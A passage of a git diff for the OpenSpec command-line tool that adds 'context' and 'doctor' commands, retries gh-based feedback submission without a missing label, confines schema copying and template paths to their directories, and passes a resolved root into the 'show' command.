console.error(`\`openspec update\` failed: ${asErrorMessage(error)}`); + console.error('Please run it manually to apply the profile changes.'); process.exitCode = 1; } return; } } - console.log('Config updated. Run `openspec update` in your projects to apply.'); + printConfigProfileApplyGuidance(); } catch (error) { if (isPromptCancellationError(error)) { console.log('Config profile cancelled.'); diff --git a/src/commands/context.ts b/src/commands/context.ts new file mode 100644 index 0000000000..1a4b4a8312 --- /dev/null +++ b/src/commands/context.ts @@ -0,0 +1,212 @@ +/** + * `openspec context` (slice 4.1): the working set a root's declarations + * describe, as an agent brief (JSON), a human listing, or an editor + * view (`--code-workspace`). Assembly is presentation over the Phase 3 + * relationship data; doctor is the health surface. The only write this + * command can perform is the explicitly requested workspace file. + */ +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import { Command, Option } from 'commander'; + +import { + resolveRootForCommand, + type ResolvedOpenSpecRoot, +} from '../core/root-selection.js'; +import { inspectRelationships } from '../core/relationship-health.js'; +import { + assembleWorkingSet, + buildCodeWorkspaceJson, + isAvailableMember, + type WorkingSet, + type WorkingSetMember, +} from '../core/working-set.js'; +import { StoreError } from '../core/store/errors.js'; +import { COMMAND_REGISTRY } from '../core/completions/command-registry.js'; +import { COMMON_FLAGS } from '../core/completions/shared-flags.js'; +import { emitFailure, printJson } from './shared-output.js'; +import { gatherRelationshipData } from './shared-gather.js'; + +const FAILURE_PAYLOAD = { root: null, members: [] }; + +async function gatherWorkingSet( + root: ResolvedOpenSpecRoot +): Promise<{ workingSet: WorkingSet; declaredReferenceCount: number }> { + const data = await gatherRelationshipData(root); + + // Reuse the 3.6 composition for member classification; the + // doctor-only wrong-turn detections and store facts are deliberately + // absent — doctor is the health surface. + const health = inspectRelationships({ + root, + rootHealthy: data.rootInspection.healthy, + rootStatus: data.rootInspection.diagnostics, + referenceEntries: data.referenceEntries, + registryUnreadable: data.registrySnapshot.unreadable, + }); + + return { + workingSet: assembleWorkingSet({ + root, + referenceEntries: data.referenceEntries, + topLevelStatus: health.status, + }), + declaredReferenceCount: data.projectConfig?.references?.length ?? 0, + }; +} + +function memberLine(member: WorkingSetMember): string { + return ` ${member.id} ${member.path}`; +} + +function printHumanWorkingSet(workingSet: WorkingSet, declaredReferenceCount: number): void { + const rootLabel = workingSet.root.store_id ?? path.basename(workingSet.root.path); + console.log(`Working context for ${rootLabel} (${workingSet.root.path})`); + console.log(''); + console.log('OpenSpec root'); + console.log(` ${rootLabel} ${workingSet.root.path}`); + + const availableStores = workingSet.members.filter( + (member) => member.role === 'referenced_store' && isAvailableMember(member) + ); + const unavailable = workingSet.members.filter((member) => !isAvailableMember(member)); + + if (availableStores.length > 0) { + console.log(''); + console.log('Referenced stores'); + for (const member of availableStores) { + console.log(memberLine(member)); + if (member.fetch) { + console.log(` Fetch: ${member.fetch}`); + } + } + } + + if (workingSet.members.length === 0) { + console.log(''); + // Self-references are silently omitted from the index; an + // emptied-by-omission set must not claim nothing was declared. + console.log( + declaredReferenceCount > 0 + ? 'Declared references all resolve to this root; the working set is this root alone.' + : 'No references declared; the working set is this root alone.' + ); + } + + if (unavailable.length > 0 || workingSet.status.length > 0) { + console.log(''); + console.log('Not available on this machine'); + for (const member of unavailable) { + if (member.status.length === 0) { + console.log(` - ${member.id}`); + continue; + } + for (const diagnostic of member.status) { + console.log(` - ${member.id}: ${diagnostic.message}`); + if (diagnostic.fix) { + console.log(` Fix: ${diagnostic.fix}`); + } + } + } + for (const diagnostic of workingSet.status) { + console.log(` Note: ${diagnostic.message}`); + if (diagnostic.fix) { + console.log(` Fix: ${diagnostic.fix}`); + } + } + } +} + +function writeCodeWorkspace( + workingSet: WorkingSet, + outputPath: string, + force: boolean +): void { + const resolved = path.resolve(outputPath); + if (fs.existsSync(resolved) && !force) { + throw new StoreError( + `Refusing to overwrite ${resolved}.`, + 'context_file_exists', + { + target: 'context.output', + fix: `Pass --force to overwrite, or choose a different path.`, + } + ); + } + const parent = path.dirname(resolved); + if (!fs.existsSync(parent)) { + throw new StoreError( + `Output directory does not exist: ${parent}.`, + 'context_output_dir_missing', + { target: 'context.output', fix: 'Create the directory first, or choose another path.' } + ); + } + + const rootName = workingSet.root.store_id ?? path.basename(workingSet.root.path); + fs.writeFileSync(resolved, buildCodeWorkspaceJson(workingSet, rootName)); + + const available = workingSet.members.filter(isAvailableMember).length; + const skipped = workingSet.members + .filter((member) => !isAvailableMember(member)) + .map((member) => member.id); + const summary = + skipped.length > 0 + ? `Wrote ${resolved} (${available + 1} folders; not available: ${skipped.join(', ')})` + : `Wrote ${resolved} (${available + 1} folders)`; + // stderr keeps JSON stdout pure; for humans it reads inline. + console.error(summary); +} + +export function registerContextCommand(program: Command): void { + const description = + COMMAND_REGISTRY.find((entry) => entry.name === 'context')?.description ?? + 'Print the working context for the resolved OpenSpec root'; + + program + .command('context') + .description(description) + .option('--store <id>', COMMON_FLAGS.store.description) + .addOption( + new Option('--store-path <path>', 'Removed; register the store and use --store').hideHelp() + ) + .option('--json', 'Output the agent brief as JSON') + .option('--code-workspace <path>', 'Also write a VS Code workspace file for the set') + .option('--force', 'Overwrite an existing --code-workspace file') + .action( + async (options: { + store?: string; + storePath?: string; + json?: boolean; + codeWorkspace?: string; + force?: boolean; + }) => { + try { + const root = await resolveRootForCommand( + { store: options.store, storePath: options.storePath }, + { json: options.json, failurePayload: FAILURE_PAYLOAD, allowImplicitRoot: false } + ); + if (!root) { + return; + } + + const { workingSet, declaredReferenceCount } = await gatherWorkingSet(root); + + if (options.json) { + // The write runs FIRST: a write failure must leave stdout + // holding exactly one JSON document (the failure payload). + if (options.codeWorkspace) { + writeCodeWorkspace(workingSet, options.codeWorkspace, options.force === true); + } + printJson(workingSet); + } else { + printHumanWorkingSet(workingSet, declaredReferenceCount); + if (options.codeWorkspace) { + writeCodeWorkspace(workingSet, options.codeWorkspace, options.force === true); + } + } + } catch (error) { + emitFailure(options.json, FAILURE_PAYLOAD, error, 'context_failed'); + } + } + ); +} diff --git a/src/commands/doctor.ts b/src/commands/doctor.ts new file mode 100644 index 0000000000..94c5c32a82 --- /dev/null +++ b/src/commands/doctor.ts @@ -0,0 +1,219 @@ +/** + * `openspec doctor` (slice 3.6): the root-scoped relationship-health + * report. Read-only — it answers "are the roots this work relates to + * available on this machine?" and never clones, syncs, or repairs. + */ +import { Command, Option } from 'commander'; + +import { + resolveRootForCommand, + type ResolvedOpenSpecRoot, +} from '../core/root-selection.js'; +import { readOptionalStoreMetadataState } from '../core/store/foundation.js'; +import { gitOriginUrl, gitTrackingDrift, isGitRepositoryAtRoot } from '../core/store/git.js'; +import { + classifyOpenSpecDir, + readProjectConfig, + resolveConfigFilePath, +} from '../core/project-config.js'; +import { findRepoPlanningRootSync } from '../core/planning-home.js'; +import { gatherRelationshipData } from './shared-gather.js'; +import { + inspectRelationships, + type InspectRelationshipsInput, + type RelationshipHealth, +} from '../core/relationship-health.js'; +import { COMMAND_REGISTRY } from '../core/completions/command-registry.js'; +import { COMMON_FLAGS } from '../core/completions/shared-flags.js'; +import { emitFailure, printJson } from './shared-output.js'; +import * as path from 'node:path'; + +const FAILURE_PAYLOAD = { root: null, store: null, references: [] }; + +async function gatherHealth( + root: ResolvedOpenSpecRoot +): Promise<{ health: RelationshipHealth; declaredReferenceCount: number }> { + const data = await gatherRelationshipData(root); + const { + registrySnapshot, + projectConfig, + referenceEntries, + rootInspection, + } = data; + const registryUnreadable = registrySnapshot.unreadable; + + const input: InspectRelationshipsInput = { + root, + rootHealthy: rootInspection.healthy, + rootStatus: rootInspection.diagnostics, + referenceEntries, + registryUnreadable, + }; + + // Store facts for store-backed roots (explicit --store, a declared + // pointer, or the global default). + // Missing/invalid metadata never reaches here: store resolution + // verifies identity first and fails with the existing taxonomy + // (recorded amendment - corrupt store.yaml is an exit-1 resolution + // failure, not a health finding). + if (root.storeId) { + const metadata = await readOptionalStoreMetadataState(root.path).catch(() => null); + // git -C walks UP the tree: probing a non-repo store nested inside + // another repo would record the ENCLOSING repo's origin (and drift). + const isRepo = await isGitRepositoryAtRoot(root.path); + const [originUrl, drift] = isRepo + ? await Promise.all([gitOriginUrl(root.path), gitTrackingDrift(root.path)]) + : [null, null]; + input.storeFacts = { + id: root.storeId, + metadataPresent: metadata !== null, + metadataValid: metadata !== null, + ...(metadata?.remote ? { canonicalRemote: metadata.remote } : {}), + ...(originUrl ? { originUrl } : {}), + ...(drift ? { drift } : {}), + }; + } + + // The 3.2 both-shapes wrong turn, structured — including a malformed + // pointer value, which the resolver is silent about on planning-shaped + // roots. + if (root.source === 'nearest') { + const { hasPlanningShape, pointer } = classifyOpenSpecDir(root.path); + if (hasPlanningShape && pointer.filePath) { + if (pointer.value !== undefined) { + input.bothShapesPointer = { value: pointer.value, filePath: pointer.filePath }; + } else if (pointer.malformed) { + input.malformedPointer = { filePath: pointer.filePath, reason: pointer.malformed }; + } + } + } + + // The 3.4-recorded inert-pointer wrong turn: the resolved root is the + // STORE; re-walk to the pointer directory and read ITS config. + if (root.source === 'declared') { + const pointerRoot = findRepoPlanningRootSync(process.cwd()); + if (pointerRoot) { + const pointerConfig = readProjectConfig(pointerRoot); + const fields: string[] = []; + if (pointerConfig?.references?.length) fields.push('references'); + if (fields.length > 0) { + const filePath = + resolveConfigFilePath(pointerRoot) ?? + path.join(pointerRoot, 'openspec', 'config.yaml'); + input.inertPointerDeclarations = { filePath, fields }; + } + } + } + + return { + health: inspectRelationships(input), + declaredReferenceCount: projectConfig?.references?.length ?? 0, + }; +} + +function printDiagnosticLines(prefix: string, status: { message: string; fix?: string }[]): void { + for (const entry of status) { + console.log(`${prefix}- ${entry.message}`); + if (entry.fix) { + console.log(`${prefix} Fix: ${entry.fix}`); + } + } +} + +function printEntrySection<T extends { status: { message: string; fix?: string }[] }>( + title: string, + entries: T[], + emptyLine: string, + okLine: (entry: T) => string, + idOf: (entry: T) => string +): void { + console.log(''); + console.log(title); + if (entries.length === 0) { + console.log(` ${emptyLine}`); + return; + } + for (const entry of entries) { + if (entry.status.length === 0) { + console.log(` - ${okLine(entry)}`); + continue; + } + for (const diagnostic of entry.status) { + console.log(` - ${idOf(entry)}: ${diagnostic.message}`); + if (diagnostic.fix) { + console.log(` Fix: ${diagnostic.fix}`); + } + } + } +} + +function printHumanHealth(health: RelationshipHealth, declaredReferenceCount: number): void { + console.log('Doctor'); + console.log(''); + console.log('Root'); + console.log(` Location: ${health.root.path}`); + console.log(` OpenSpec root: ${health.root.healthy ? 'ok' : 'unhealthy'}`); + if (health.store) { + const metadataNote = health.store.metadata.valid ? 'metadata ok' : 'metadata invalid'; + console.log(` Store: ${health.store.id} (${metadataNote})`); + } + printDiagnosticLines(' ', [...health.root.status, ...(health.store?.status ?? [])]); + + // "(none declared)" must never lie: self-references are omitted from + // the index, so an emptied-by-omission list gets its own line. + const referencesEmptyLine = + health.references.length === 0 && declaredReferenceCount > 0 + ? '(declared references all resolve to this root)' + : '(none declared)'; + printEntrySection( + 'References', + health.references, + referencesEmptyLine, + (entry) => `${entry.store_id}: ok${entry.root ? ` (${entry.root})` : ''}`, + (entry) => entry.store_id + ); + + for (const entry of health.status) { + console.log(''); + console.log(`Note: ${entry.message}`); + if (entry.fix) { + console.log(`Fix: ${entry.fix}`); + } + } +} + +export function registerDoctorCommand(program: Command): void { + const description = + COMMAND_REGISTRY.find((entry) => entry.name === 'doctor')?.description ?? + 'Report relationship health for the resolved OpenSpec root'; + + program + .command('doctor') + .description(description) + .option('--store <id>', COMMON_FLAGS.store.description) + .addOption( + new Option('--store-path <path>', 'Removed; register the store and use --store').hideHelp() + ) + .option('--json', 'Output as JSON') + .action(async (options: { store?: string; storePath?: string; json?: boolean }) => { + try { + const root = await resolveRootForCommand( + { store: options.store, storePath: options.storePath }, + { json: options.json, failurePayload: FAILURE_PAYLOAD, allowImplicitRoot: false } + ); + if (!root) { + return; + } + + const { health, declaredReferenceCount } = await gatherHealth(root); + + if (options.json) { + printJson(health); + return; + } + printHumanHealth(health, declaredReferenceCount); + } catch (error) { + emitFailure(options.json, FAILURE_PAYLOAD, error, 'doctor_failed'); + } + }); +} diff --git a/src/commands/feedback.ts b/src/commands/feedback.ts index e157d11e18..86d25042bd 100644 --- a/src/commands/feedback.ts +++ b/src/commands/feedback.ts @@ -119,41 +119,100 @@ function displayFormattedFeedback(title: string, body: string): void { } /** - * Submit feedback via gh CLI + * Check whether gh refused the issue because the repository does not define + * the label. gh resolves label names before creating the issue, so this + * failure means no issue was created. + * + * Only gh's stderr is inspected. The error message also embeds the command + * line, which carries the user's own feedback text. + */ +function isMissingLabelError(error: any): boolean { + return /could not add label/i.test(error?.stderr?.toString() ?? ''); +} + +/** + * Report a gh CLI failure and exit, preserving gh's exit code. + * + * gh failed after the user already typed their feedback (issues disabled, + * network, rate limit, ...), so show the same manual-submission path the + * missing-gh and unauthenticated flows get instead of discarding the text. + */ +function reportGhFailure(error: any, title: string, body: string): void { + // Display the error output from gh CLI + if (error.stderr) { + console.error(error.stderr.toString()); + } else if (error.message) { + console.error(error.message); + } + + displayFormattedFeedback(title, body); + + const manualUrl = generateManualSubmissionUrl(title, body); + console.log('Please submit your feedback manually:'); + console.log(manualUrl); + + // Exit with the same code as gh CLI + process.exit(error.status ?? 1); +} + +/** + * Create the feedback issue via gh CLI * Uses execFileSync to prevent shell injection vulnerabilities */ +function createIssue(title: string, body: string, labels: string[]): string { + const args = [ + 'issue', + 'create', + '--repo', + 'Fission-AI/OpenSpec', + '--title', + title, + '--body', + body, + ]; + + for (const label of labels) { + args.push('--label', label); + } + + const result = execFileSync('gh', args, { encoding: 'utf-8', stdio: 'pipe' }); + + return result.trim(); +} + +/** + * Submit feedback via gh CLI + */ function submitViaGhCli(title: string, body: string): void { - try { - const result = execFileSync( - 'gh', - [ - 'issue', - 'create', - '--repo', - 'Fission-AI/OpenSpec', - '--title', - title, - '--body', - body, - '--label', - 'feedback', - ], - { encoding: 'utf-8', stdio: 'pipe' } - ); + let issueUrl: string; + let labelApplied = true; - const issueUrl = result.trim(); - console.log(`\n✓ Feedback submitted successfully!`); - console.log(`Issue URL: ${issueUrl}\n`); + try { + issueUrl = createIssue(title, body, ['feedback']); } catch (error: any) { - // Display the error output from gh CLI - if (error.stderr) { - console.error(error.stderr.toString()); - } else if (error.message) { - console.error(error.message); + if (!isMissingLabelError(error)) { + reportGhFailure(error, title, body); + return; } - // Exit with the same code as gh CLI - process.exit(error.status ?? 1); + // The repository does not define the 'feedback' label. Nothing was + // created, so retry unlabeled rather than dropping the feedback. + try { + issueUrl = createIssue(title, body, []); + labelApplied = false; + } catch (retryError: any) { + reportGhFailure(retryError, title, body); + return; + } + } + + console.log(`\n✓ Feedback submitted successfully!`); + console.log(`Issue URL: ${issueUrl}\n`); + + if (!labelApplied) { + console.log( + "Note: created without the 'feedback' label because the repository does not define it.\n" + ); } } diff --git a/src/commands/schema.ts b/src/commands/schema.ts index 7f8d0b7888..2aa9d2f700 100644 --- a/src/commands/schema.ts +++ b/src/commands/schema.ts @@ -8,10 +8,12 @@ import { getProjectSchemasDir, getUserSchemasDir, getPackageSchemasDir, + isSchemaDir, listSchemas, } from '../core/artifact-graph/resolver.js'; import { parseSchema, SchemaValidationError } from '../core/artifact-graph/schema.js'; import type { SchemaYaml, Artifact } from '../core/artifact-graph/types.js'; +import { FileSystemUtils } from '../utils/file-system.js'; /** * Schema source location type @@ -195,22 +197,31 @@ function validateSchema( return { valid: false, issues }; } - // Check template files exist - // Templates can be in schemaDir directly or in a templates/ subdirectory + // Check template files exist in the same directory used at runtime. if (verbose) { console.log(' Checking template files...'); } for (const artifact of schema.artifacts) { - // Try templates subdirectory first (standard location), then root - const templatePathInTemplates = path.join(schemaDir, 'templates', artifact.template); - const templatePathInRoot = path.join(schemaDir, artifact.template); + const templatesDir = path.join(schemaDir, 'templates'); + const existingTemplatePath = path.join(templatesDir, artifact.template); - if (!fs.existsSync(templatePathInTemplates) && !fs.existsSync(templatePathInRoot)) { + if (!fs.existsSync(existingTemplatePath)) { issues.push({ level: 'error', path: `artifacts.${artifact.id}.template`, message: `Template file '${artifact.template}' not found for artifact '${artifact.id}'`, }); + continue; + } + + try { + FileSystemUtils.assertPathWithin(templatesDir, existingTemplatePath); + } catch { + issues.push({ + level: 'error', + path: `artifacts.${artifact.id}.template`, + message: `Template file '${artifact.template}' points outside the schema templates directory`, + }); } } @@ -233,19 +244,83 @@ function isValidSchemaName(name: string): boolean { /** * Copy a directory recursively. */ -function copyDirRecursive(src: string, dest: string): void { +function resolveSchemaCopyPath(allowedRoot: string, sourcePath: string): string { + try { + const canonicalRoot = fs.realpathSync(allowedRoot); + const canonicalPath = fs.realpathSync(sourcePath); + FileSystemUtils.assertPathWithin(canonicalRoot, canonicalPath); + return canonicalPath; + } catch (error) { + const detail = error instanceof Error ? error.message : String(error); + throw new Error( + `Cannot fork schema with linked or unsupported entry: ${sourcePath}: ${detail}`, + { cause: error } + ); + } +} + +function copyDirRecursive( + src: string, + dest: string, + allowedRoot = src, + ancestors = new Set<string>() +): void { + const canonicalSrc = resolveSchemaCopyPath(allowedRoot, src); + if (ancestors.has(canonicalSrc)) { + throw new Error(`Cannot fork schema with a linked directory cycle: ${src}`); + } + ancestors.add(canonicalSrc); fs.mkdirSync(dest, { recursive: true }); - const entries = fs.readdirSync(src, { withFileTypes: true }); - for (const entry of entries) { - const srcPath = path.join(src, entry.name); - const destPath = path.join(dest, entry.name); + try { + const entries = fs.readdirSync(src, { withFileTypes: true }); + for (const entry of entries) { + const srcPath = path.join(src, entry.name); + const destPath = path.join(dest, entry.name); + const canonicalEntry = resolveSchemaCopyPath(allowedRoot, srcPath); + const stats = fs.statSync(canonicalEntry); + + if (stats.isDirectory()) { + copyDirRecursive(canonicalEntry, destPath, allowedRoot, ancestors); + } else if (stats.isFile()) { + // Dereference confined links so the fork is an independent schema. + fs.copyFileSync(canonicalEntry, destPath); + } else { + throw new Error(`Cannot fork schema with linked or unsupported entry: ${srcPath}`); + } + } + } finally { + ancestors.delete(canonicalSrc); + } +} - if (entry.isDirectory()) { - copyDirRecursive(srcPath, destPath); - } else { - fs.copyFileSync(srcPath, destPath); +/** + * Verifies a schema tree before replacing or creating the fork destination. + */ +function assertSchemaTreeCanBeCopied( + src: string, + allowedRoot = src, + ancestors = new Set<string>() +): void { + const canonicalSrc = resolveSchemaCopyPath(allowedRoot, src); + if (ancestors.has(canonicalSrc)) { + throw new Error(`Cannot fork schema with a linked directory cycle: ${src}`); + } + ancestors.add(canonicalSrc); + + try { + for (const entry of fs.readdirSync(src, { withFileTypes: true })) { + const entryPath = path.join(src, entry.name); + const canonicalEntry = resolveSchemaCopyPath(allowedRoot, entryPath); + const stats = fs.statSync(canonicalEntry); + if (stats.isDirectory()) { + assertSchemaTreeCanBeCopied(canonicalEntry, allowedRoot, ancestors); + } else if (!stats.isFile()) { + throw new Error(`Cannot fork schema with linked or unsupported entry: ${entryPath}`); + } } + } finally { + ancestors.delete(canonicalSrc); } } @@ -437,7 +512,7 @@ export function registerSchemaCommand(program: Command): void { let anyInvalid = false; for (const entry of entries) { - if (!entry.isDirectory()) continue; + if (!isSchemaDir(projectSchemasDir, entry)) continue; const schemaDir = path.join(projectSchemasDir, entry.name); const schemaPath = path.join(schemaDir, 'schema.yaml'); @@ -480,10 +555,10 @@ export function registerSchemaCommand(program: Command): void { console.log(` ${issue.level}: ${issue.message}`); } } + } - if (anyInvalid) { - process.exitCode = 1; - } + if (anyInvalid) { + process.exitCode = 1; } return; } @@ -528,9 +603,11 @@ export function registerSchemaCommand(program: Command): void { for (const issue of result.issues) { console.log(` ${issue.level}: ${issue.message}`); } - process.exitCode = 1; } } + if (!result.valid) { + process.exitCode = 1; + } } catch (error) { if (options?.json) { console.log(JSON.stringify({ @@ -594,6 +671,10 @@ export function registerSchemaCommand(program: Command): void { const sourceResolution = getSchemaResolution(source, projectRoot); const sourceLocation = sourceResolution?.source || 'package'; + // Validate the complete source before a forced fork removes anything. + const trustedSourceDir = fs.realpathSync(sourceDir); + assertSchemaTreeCanBeCopied(trustedSourceDir); + // Check destination const destinationDir = path.join(getProjectSchemasDir(projectRoot), destinationName); @@ -620,7 +701,7 @@ export function registerSchemaCommand(program: Command): void { // Copy schema if (spinner) spinner.start(`Forking '${source}' to '${destinationName}'...`); - copyDirRecursive(sourceDir, destinationDir); + copyDirRecursive(trustedSourceDir, destinationDir); // Update name in schema.yaml const destSchemaPath = path.join(destinationDir, 'schema.yaml'); @@ -703,8 +784,9 @@ export function registerSchemaCommand(program: Command): void { const schemaDir = path.join(getProjectSchemasDir(projectRoot), name); - // Check if exists - if (fs.existsSync(schemaDir)) { + // Check overwrite permission without mutating the destination + const schemaExists = fs.existsSync(schemaDir); + if (schemaExists) { if (!options?.force) { if (options?.json) { console.log(JSON.stringify({ @@ -719,9 +801,6 @@ export function registerSchemaCommand(program: Command): void { process.exitCode = 1; return; } - - if (spinner) spinner.start(`Removing existing schema '${name}'...`); - fs.rmSync(schemaDir, { recursive: true }); } // Determine artifacts and description @@ -749,6 +828,12 @@ export function registerSchemaCommand(program: Command): void { selectedArtifactIds = await checkbox({ message: 'Select artifacts to include:', + theme: { + icon: { + checked: '[x]', + unchecked: '[ ]', + }, + }, choices: artifactChoices, }); @@ -800,10 +885,6 @@ export function registerSchemaCommand(program: Command): void { } } - // Create schema directory - if (spinner) spinner.start(`Creating schema '${name}'...`); - fs.mkdirSync(schemaDir, { recursive: true }); - // Build artifacts array with proper dependencies const selectedArtifacts = selectedArtifactIds.map((id) => { const template = DEFAULT_ARTIFACTS.find((a) => a.id === id)!; @@ -846,6 +927,16 @@ export function registerSchemaCommand(program: Command): void { }; } + // Replace only after all inputs have been collected and validated + if (schemaExists) { + if (spinner) spinner.start(`Removing existing schema '${name}'...`); + fs.rmSync(schemaDir, { recursive: true }); + } + + // Create schema directory + if (spinner) spinner.start(`Creating schema '${name}'...`); + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync( path.join(schemaDir, 'schema.yaml'), stringifyYaml(schema) diff --git a/src/commands/shared-gather.ts b/src/commands/shared-gather.ts new file mode 100644 index 0000000000..b88b009564 --- /dev/null +++ b/src/commands/shared-gather.ts @@ -0,0 +1,52 @@ +/** + * The relationship-data gather shared by doctor and context (4.1): one + * registry snapshot, the health-mode reference index, and the root + * inspection. Doctor layers its health-only inputs (store facts, + * wrong-turn detection) on top. + */ +import * as path from 'node:path'; + +import { readRegistrySnapshot, type RegistrySnapshot } from '../core/store/registry.js'; +import { + readProjectConfig, + resolveConfigFilePath, + type ProjectConfig, +} from '../core/project-config.js'; +import { assembleReferenceIndex, type ReferenceIndexEntry } from '../core/references.js'; +import { inspectOpenSpecRoot, type OpenSpecRootInspection } from '../core/openspec-root.js'; +import type { ResolvedOpenSpecRoot } from '../core/root-selection.js'; + +export interface RelationshipData { + registrySnapshot: RegistrySnapshot; + projectConfig: ProjectConfig | null; + storeConfigPath: string; + referenceEntries: ReferenceIndexEntry[]; + rootInspection: OpenSpecRootInspection; +} + +export async function gatherRelationshipData( + root: ResolvedOpenSpecRoot +): Promise<RelationshipData> { + const registrySnapshot = await readRegistrySnapshot(); + + const projectConfig = readProjectConfig(root.path); + const storeConfigPath = + resolveConfigFilePath(root.path) ?? path.join(root.path, 'openspec', 'config.yaml'); + + const referenceEntries = await assembleReferenceIndex({ + references: projectConfig?.references ?? [], + resolvedRoot: root, + includeSpecs: false, + registryEntries: registrySnapshot.entries, + }); + + const rootInspection = await inspectOpenSpecRoot(root.path); + + return { + registrySnapshot, + projectConfig, + storeConfigPath, + referenceEntries, + rootInspection, + }; +} diff --git a/src/commands/shared-output.ts b/src/commands/shared-output.ts new file mode 100644 index 0000000000..56fbb1ea20 --- /dev/null +++ b/src/commands/shared-output.ts @@ -0,0 +1,73 @@ +/** + * Shared JSON/failure output plumbing for command groups whose errors + * carry the StoreDiagnostic envelope. One definition of the failure + * contract: exit code 1, Error:/Fix: lines in human mode, a status + * array in JSON mode. + */ +import { StoreError, type StoreDiagnostic } from '../core/store/errors.js'; + +export function printJson(payload: unknown): void { + console.log(JSON.stringify(payload, null, 2)); +} + +export function asErrorMessage(error: unknown): string { + return error instanceof Error ? error.message : String(error); +} + +/** + * @inquirer prompts reject with ExitPromptError on Ctrl-C; commands + * translate that to `Cancelled.` + exit 130 (third caller extracted + * this here in slice 7.1). + */ +export function isPromptCancellationError(error: unknown): boolean { + return ( + error instanceof Error && + (error.name === 'ExitPromptError' || + error.message.includes('force closed the prompt with SIGINT')) + ); +} + +export function asStatus(error: unknown, fallbackCode: string): StoreDiagnostic { + if (error instanceof StoreError) { + return error.diagnostic; + } + // RootSelectionError (and siblings) carry the same envelope without + // sharing a class hierarchy; duck-type the diagnostic once, here. + const diagnostic = (error as { diagnostic?: StoreDiagnostic }).diagnostic; + if (diagnostic && typeof diagnostic.code === 'string') { + return diagnostic; + } + return { + severity: 'error', + code: fallbackCode, + message: asErrorMessage(error), + }; +} + +export function emitFailure( + json: boolean | undefined, + payload: Record<string, unknown>, + error: unknown, + fallbackCode: string +): void { + // Ctrl-C in a prompt is the user's choice, not an error: every + // command group gets the Cancelled./130 convention through here. + if (!json && isPromptCancellationError(error)) { + console.error('Cancelled.'); + process.exitCode = 130; + return; + } + + const status = asStatus(error, fallbackCode); + if (json) { + const prior = Array.isArray(payload.status) ? payload.status : []; + printJson({ ...payload, status: [...prior, status] }); + process.exitCode = 1; + return; + } + console.error(`Error: ${status.message}`); + if (status.fix) { + console.error(`Fix: ${status.fix}`); + } + process.exitCode = 1; +} diff --git a/src/commands/show.ts b/src/commands/show.ts index 6413b5951c..bfdb2958dc 100644 --- a/src/commands/show.ts +++ b/src/commands/show.ts @@ -1,6 +1,13 @@ -import path from 'path'; import { isInteractive } from '../utils/interactive.js'; import { getActiveChangeIds, getSpecIds } from '../utils/item-discovery.js'; +import { + resolveRootForCommand, + toRootOutput, + withStoreFlag, + type ResolvedOpenSpecRoot, + type RootOutput, + isStoreSelectedRoot, +} from '../core/root-selection.js'; import { ChangeCommand } from './change.js'; import { SpecCommand } from './spec.js'; import { nearestMatches } from '../utils/match.js'; @@ -10,8 +17,22 @@ type ItemType = 'change' | 'spec'; const CHANGE_FLAG_KEYS = new Set(['deltasOnly', 'requirementsOnly']); const SPEC_FLAG_KEYS = new Set(['requirements', 'scenarios', 'requirement']); +interface ShowExecuteOptions { + json?: boolean; + type?: string; + noInteractive?: boolean; + store?: string; + storePath?: string; + [k: string]: any; +} + export class ShowCommand { - async execute(itemName?: string, options: { json?: boolean; type?: string; noInteractive?: boolean; [k: string]: any } = {}): Promise<void> { + async execute(itemName?: string, options: ShowExecuteOptions = {}): Promise<void> { + const root = await resolveRootForCommand(options, { json: options.json }); + if (!root) { + return; + } + const interactive = isInteractive(options); const typeOverride = this.normalizeType(options.type); @@ -25,15 +46,15 @@ export class ShowCommand { { name: 'Spec', value: 'spec' as const }, ], }); - await this.runInteractiveByType(type, options); + await this.runInteractiveByType(type, options, root); return; } - this.printNonInteractiveHint(); + this.printNonInteractiveHint(root); process.exitCode = 1; return; } - await this.showDirect(itemName, { typeOverride, options }); + await this.showDirect(itemName, { typeOverride, options, root }); } private normalizeType(value?: string): ItemType | undefined { @@ -43,46 +64,61 @@ export class ShowCommand { return undefined; } - private async runInteractiveByType(type: ItemType, options: { json?: boolean; noInteractive?: boolean; [k: string]: any }): Promise<void> { + private delegateOptions(root: ResolvedOpenSpecRoot, options: ShowExecuteOptions): ShowExecuteOptions & { rootOutput?: RootOutput } { + return { + ...options, + ...(options.json ? { rootOutput: toRootOutput(root) } : {}), + }; + } + + private async runInteractiveByType( + type: ItemType, + options: ShowExecuteOptions, + root: ResolvedOpenSpecRoot + ): Promise<void> { const { select } = await import('@inquirer/prompts'); if (type === 'change') { - const changes = await getActiveChangeIds(); + const changes = await getActiveChangeIds(root.path); if (changes.length === 0) { console.error('No changes found.'); process.exitCode = 1; return; } const picked = await select<string>({ message: 'Pick a change', choices: changes.map(id => ({ name: id, value: id })) }); - const cmd = new ChangeCommand(); - await cmd.show(picked, options as any); + const cmd = new ChangeCommand(root.path); + await cmd.show(picked, this.delegateOptions(root, options) as any); return; } - const specs = await getSpecIds(); + const specs = await getSpecIds(root.path); if (specs.length === 0) { console.error('No specs found.'); process.exitCode = 1; return; } const picked = await select<string>({ message: 'Pick a spec', choices: specs.map(id => ({ name: id, value: id })) }); - const cmd = new SpecCommand(); - await cmd.show(picked, options as any); + const cmd = new SpecCommand(root.path); + await cmd.show(picked, this.delegateOptions(root, options) as any); } - private async showDirect(itemName: string, params: { typeOverride?: ItemType; options: { json?: boolean; [k: string]: any } }): Promise<void> { + private async showDirect( + itemName: string, + params: { typeOverride?: ItemType; options: ShowExecuteOptions; root: ResolvedOpenSpecRoot } + ): Promise<void> { + const root = params.root; // Optimize lookups when type is pre-specified let isChange = false; let isSpec = false; let changes: string[] = []; let specs: string[] = []; if (params.typeOverride === 'change') { - changes = await getActiveChangeIds(); + changes = await getActiveChangeIds(root.path); isChange = changes.includes(itemName); } else if (params.typeOverride === 'spec') { - specs = await getSpecIds(); + specs = await getSpecIds(root.path); isSpec = specs.includes(itemName); } else { - [changes, specs] = await Promise.all([getActiveChangeIds(), getSpecIds()]); + [changes, specs] = await Promise.all([getActiveChangeIds(root.path), getSpecIds(root.path)]); isChange = changes.includes(itemName); isSpec = specs.includes(itemName); } @@ -90,44 +126,91 @@ export class ShowCommand { const resolvedType = params.typeOverride ?? (isChange ? 'change' : isSpec ? 'spec' : undefined); if (!resolvedType) { - console.error(`Unknown item '${itemName}'`); const suggestions = nearestMatches(itemName, [...changes, ...specs]); - if (suggestions.length) console.error(`Did you mean: ${suggestions.join(', ')}?`); + const message = 